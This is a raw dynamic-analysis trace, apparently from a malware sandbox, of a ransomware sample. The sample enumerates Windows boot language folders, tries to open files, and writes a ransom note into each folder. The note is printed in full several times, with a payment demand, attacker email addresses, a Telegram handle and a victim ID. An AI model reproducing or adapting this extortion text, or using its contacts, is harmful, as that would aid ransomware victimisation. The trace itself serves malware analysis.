(lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.089] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.089] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.089] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.089] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.089] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0267.089] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned=".mui" [0267.089] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.089] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.090] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.090] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.090] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.090] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.090] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.090] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.090] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0267.090] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.090] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.090] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.090] PathFindFileNameW (pszPath="") returned="" [0267.090] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.090] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.091] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.091] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.091] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.091] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x31099a8 [0267.091] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.091] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.091] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0267.091] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.091] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0267.091] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.091] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.091] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.091] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.091] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.091] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.092] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.092] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.092] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.092] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081918 [0267.092] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned=".mui" [0267.092] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.092] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.092] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.092] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.092] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.092] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.092] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.092] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.092] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0267.092] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.092] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.092] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.092] PathFindFileNameW (pszPath="") returned="" [0267.092] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.093] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.093] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.093] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.093] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.093] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0267.093] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.093] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.093] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0267.093] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.093] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0267.093] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.093] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.093] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.093] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.093] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.094] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.094] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.094] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.094] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.094] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0267.094] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned=".mui" [0267.094] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.094] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.094] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.094] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.094] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.094] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.094] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.094] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.094] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0267.095] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.095] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.095] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.095] PathFindFileNameW (pszPath="") returned="" [0267.095] RtlAllocateHeap 